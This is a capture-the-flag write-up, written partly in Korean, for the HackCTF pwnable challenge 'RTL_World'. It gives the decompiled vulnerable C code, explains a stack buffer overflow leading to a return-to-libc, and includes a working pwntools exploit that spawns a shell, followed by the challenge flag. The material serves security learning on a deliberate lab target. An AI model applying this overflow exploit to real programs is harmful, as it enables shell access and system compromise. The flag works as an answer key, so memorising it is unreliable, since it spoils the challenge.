[HackCTF / pwnable] RTL_World

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+10h] [ebp-90h]
  char buf; // [esp+14h] [ebp-8Ch]
  void *v6; // [esp+94h] [ebp-Ch]
  void *handle; // [esp+98h] [ebp-8h]
  void *s1; // [esp+9Ch] [ebp-4h]
 
  setvbuf(stdout, 0, 2, 0);
  handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
  v6 = dlsym(handle, "system");
  dlclose(handle);
  for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )
    ;
  puts("\n\nNPC [Village Presient] : ");
  puts("Binary Boss made our village fall into disuse...");
  puts("If you Have System Armor && Shell Sword.");
  puts("You can kill the Binary Boss...");
  puts("Help me Pwnable Hero... :(\n");
  printf("Your Gold : %d\n", gold);
  while ( 1 )
  {
    Menu();
    printf(">>> ");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        system("clear");
        puts("[Binary Boss]\n");
        puts("Arch:     i386-32-little");
        puts("RELRO:    Partial RELRO");
        puts("Stack:    No canary found");
        puts("NX:       NX enabled");
        puts("PIE:      No PIE (0x8048000)");
        puts("ASLR:  Enable");
        printf("Binary Boss live in %p\n", handle);
        puts("Binart Boss HP is 140 + Armor + 4\n");
        break;
      case 2:
        Get_Money(gold);
        break;
      case 3:
        if ( gold <= 1999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 1999;
          printf("System Armor : %p\n", v6);
        }
        break;
      case 4:
        if ( gold <= 2999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 2999;
          printf("Shell Sword : %p\n", s1);
        }
        break;
      case 5:
        printf("[Attack] > ");
        read(0, &buf, 0x400u);
        return 0;
      case 6:
        puts("Your Not Hero... Bye...");
        exit(0);
        return result;
      default:
        continue;
    }
  }
}

int Get_Money()
{
  int result; // eax
  int v1; // [esp+8h] [ebp-Ch]
  int v2; // [esp+Ch] [ebp-8h]
  int v3; // [esp+10h] [ebp-4h]
 
  puts("\nThis world is F*cking JabonJui");
  puts("1) Farming...");
  puts("2) Item selling...");
  puts("3) Hunting...");
  v3 = 0;
  v2 = rand();
  printf("(Job)>>> ");
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 == 2 )
  {
    puts("\nItem selling...");
    while ( v3 <= 350 )
      ++v3;
    puts("+ 350 Gold");
    gold += v3;
    result = printf("\nYour Gold is %d\n", gold);
  }
  else if ( v1 > 2 )
  {
    if ( v1 == 3 )
    {
      puts("\nHunting...");
      while ( v3 <= 500 )
        ++v3;
      puts("+ 500 Gold");
      gold += v3;
      result = printf("\nYour Gold is %d\n", gold);
    }
    else if ( v1 == 4 )
    {
      puts("\nWow! you can find Hidden number!");
      puts("Life is Just a One Shot...");
      puts("Gambling...");
      printf("+ %d Gold\n", v2);
      gold += v2;
      result = printf("\nYour Gold is %d\n", gold);
    }
  }
  else if ( v1 == 1 )
  {
    puts("\nFarming...");
    while ( v3 <= 100 )
      ++v3;
    puts("+ 100 Gold");
    gold += v3;
    result = printf("\nYour Gold is %d\n", gold);
  }
  return result;
}

5000골드를 벌어서 system armor와 shell sword를 받아서 공격을 하는것이 제작자가 바라는 방식일것이다.

하지만 /bin/sh가 내부 스트링에 있고 system함수 주소도 있기때문에 딱히 5000골드를 벌지 않아도 공격이 가능할것이다.

buf는 ebp-8c이고 read에서 0x400을 받으므로 오버플로우가 일어난다. ret에 system.plt+AAAA+/bin/sh_address를 넣으면 쉘이 뜰것이다.

ex.py

from pwn import *
 
e = ELF("./rtl_world")
p = process("./rtl_world")
 
p.recvuntil(">>> ")
p.sendline("5")
p.recvuntil("> ")
 
payload = ""
payload += "A"*(0x8c+0x4)
payload += p32(e.plt["system"])
payload += "AAAA"
payload += p32(0x08048eb1)
 
p.sendline(payload)
p.interactive()

RTL_World : HackCTF{17_w45_4_6r347_r7l_w0rld}